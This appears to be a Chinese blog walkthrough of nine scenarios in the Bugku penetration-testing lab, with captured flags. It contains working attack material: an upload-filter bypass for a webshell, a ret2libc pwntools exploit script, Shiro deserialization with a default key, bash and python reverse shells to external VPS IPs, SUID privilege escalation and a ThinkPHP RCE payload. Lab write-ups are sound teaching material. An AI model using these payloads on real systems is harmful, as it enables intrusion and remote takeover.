bugku渗透(一)
bugku出了新的模式,渗透测试,来水水文章,一共有十一个场景,也就是相当于十一个题目吧
场景一
刚开始只给了一个地址http://139.224.3.107:80
访问一下,源码得到flag
PS:下个flag网站管理员才能看到哦
flag{f42f76f14f9cce709a39b3bdad69a627}
场景二
这个应该就是网站后台吧,dirsearch扫一下
得到admin
浅浅试了一下,admin/admin登录
ps:/home
flag{f624caaebfc9654f14f33114908a952c}
场景三
这个是home路径下的,访问一下看看
不存在,所以应该是进入home文件夹下,也就是需要getshell,在后台寻找一下利用点
存在上传配置,加个php
应该是streplace函数了,php替换为空,尝试大小写绕过成功
但是这个上传之后发现连不上,不知道咋回事,尝试双写绕过成功连接
上蚁剑
PS:root and database
flag{f3b1bce4b65eea538acd840cb304c051}
场景四
这道应该就是和数据库有关系了,同时涉及到权限
find一下database,寻找config.php的相关配置
得到root为root/root
nmap扫一下开放端口
发现3306mysql端口并没有打开,搜了一下可以直接在蚁剑里用mysqldump dump下来
mysqldump -uroot -proot flag > flag.sql
ps:可以试试nc 还有 root
flag{6f1fe51fc70b3adc54fd54ae79a1cf0d}
另一个方法就是蚁剑直接连接数据库
这里应该是需要一种插件,给蚁剑安装插件的时候需要开代理
场景五
找了一圈,最后发现这个场景考察的是一个pwn吧
有个main文件
32位文件,ida打开反编译看看
跟进vul函数
这地方存在溢出
主函数如下
int __cdecl main(int argc, const char **argv, const char **envp) { size_t v3; // eax char s[4]; // [esp+Ah] [ebp-1Eh]
strcpy(s, "plz input your name:\n");
v3 = strlen(s);
write(1, s, v3);
vul();
return 0;
}
没有给/bin/sh,emm,vul函数,在文件中没有找到相关后门函数,是高级ROP类型
ssize_t vul()
{
char buf; // [esp+4h] [ebp-24h]
return read(0, &buf, 0x80u);
}
exp如下
from pwn import *
context.log_level = "debug"
p = remote('139.224.3.107',9999)
elf = ELF('./main')write_plt = elf.plt['write']
write_got = elf.got['write']main_addr = 0x0804848A
offset_write =0x0d5c90
offset_system = 0x03adb0
offset_str_bin_sh =0x15bb2bpayload = 'A' * 40 + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.sendlineafter('plz input your name:\n',payload)
write_addr = u32(p.recv(4))
libc_base = write_addr - offset_write
sys_addr = libc_base + offset_system
sh_addr = libc_base + offset_str_bin_sh
payload = 'A' * 40 + p32(sys_addr) + p32(4) + p32(sh_addr)
p.sendline(payload)
p.interactive()
PS:port 8080
flag{4b139fce0c0c3e53a69fc34fabd2d6db}
场景六
看8080端口
dirsearch扫一下得到robots.txt
PS:next to my home
flag{00200c35443afb415c4427f94094fdd0}
场景七
抓个包看看
nice,shiro洞
先用下面这个寻找一下是否存在默认的key
insightglacier/Shiro_exploit: Apache Shiro 反序列化漏洞检测与利用工具 (github.com)
找到true key
vulnerable:True url:http://139.224.3.107 CipherKey:kPH+bIxk5D2deZiIxcaaaA==
制作vps反弹shell
bash -i >& /dev/tcp/43.138.40.212/7777 0>&1
Java Runtime 配合 bash 编码
命令执行在线编码 | 国光 (sqlsec.com)
echo YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzguNDAuMjEyLzc3NzcgMD4mMQ==|base64 -d|bash -i
bash -c {echo YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzguNDAuMjEyLzc3NzcgMD4mMQ==}|{base64 -d}|{bash -i}
剩下的利用方式参考文章Shiro反序列化漏洞利用汇总 - 腾讯云开发者社区-腾讯云 (tencent.com)
有亿点点麻烦,时间来不及了,直接在github找自动化
fupinglee/JavaTools: 一些Java编写的小工具。 (github.com)
flag{ebc4589713b98ca222f788902adb408f}
场景八
suid提权
find / -perm -4000 -type f 2>/dev/null #查看具有suid 权限的可执行二进制程序
没完成
下次有金币再玩吧
GO-ON
2023-02-04
又来了又来了
场景八的提权,sudo不行,因为sudo -l不存在此命令
继续尝试一下是不是suid提权
find / -type f -perm -u=s 2>/dev/null
先反弹到vps上shell,蚁剑终端不舒服
ncat vps 8806 -e sh
弹错shell了,应该是shiro反序列化的那个靶机
写入内存马
连不上,我不李姐
这里用python来反弹shell
export RHOST="43.143.195.203";export RPORT=8806;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
监听端口,然后执行python -c "import pty;pty.spawn(‘/bin/bash’)"成功反弹shell
find的suid提权
find hzy -exec ls \;
成功执行,找到flag
flag{a790c8d551bbe198354f427c9fff6837}
场景九
Internal network
擦,感觉该进内网了,没ipconfig,有git,猜我怎么想的,直接git远程下载fscan
这个时候还是需要知道网段才行,用ip address
ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
9: eth0@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:c0:a8:00:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 192.168.0.3/24 brd 192.168.0.255 scope global eth0
valid_lft forever preferred_lft forever
探测192.168.0.0/24
192.168.0.1:8080 open
192.168.0.3:8080 open
192.168.0.4:3306 open
192.168.0.1:80 open
192.168.0.4:80 open
192.168.0.2:80 open
192.168.0.1:22 open
192.168.0.1:9999 open
192.168.0.2:9999 open
[*] WebTitle: http://192.168.0.3:8080 code:302 len:0 title:None 跳转url: http://192.168.0.3:8080/login;jsessionid=B87B16A1953B413F38E39A8A8B43A48D
[*] WebTitle: http://192.168.0.1:8080 code:302 len:0 title:None 跳转url: http://192.168.0.1:8080/login;jsessionid=7595E67F313D9459B44EFB2C20D7CD6E
[*] WebTitle: http://192.168.0.3:8080/login;jsessionid=B87B16A1953B413F38E39A8A8B43A48D code:200 len:2608 title:Login Page
[*] WebTitle: http://192.168.0.1:8080/login;jsessionid=7595E67F313D9459B44EFB2C20D7CD6E code:200 len:2608 title:Login Page
[*] WebTitle: http://192.168.0.1 code:200 len:59431 title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.2 code:200 len:59431 title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.4 code:200 len:8351 title:博客首页
[+] http://192.168.0.3:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[+] http://192.168.0.4 poc-yaml-thinkphp5023-method-rce poc1
[+] http://192.168.0.1:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
显然内网服务很多,需要进行内网代理,使用Neo-reGeorg进行内网socks代理
下载地址https://github.com/L-codes/Neo-reGeorg,使用教程网上很多
即可实现浏览器代理内网
TP框架
_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=id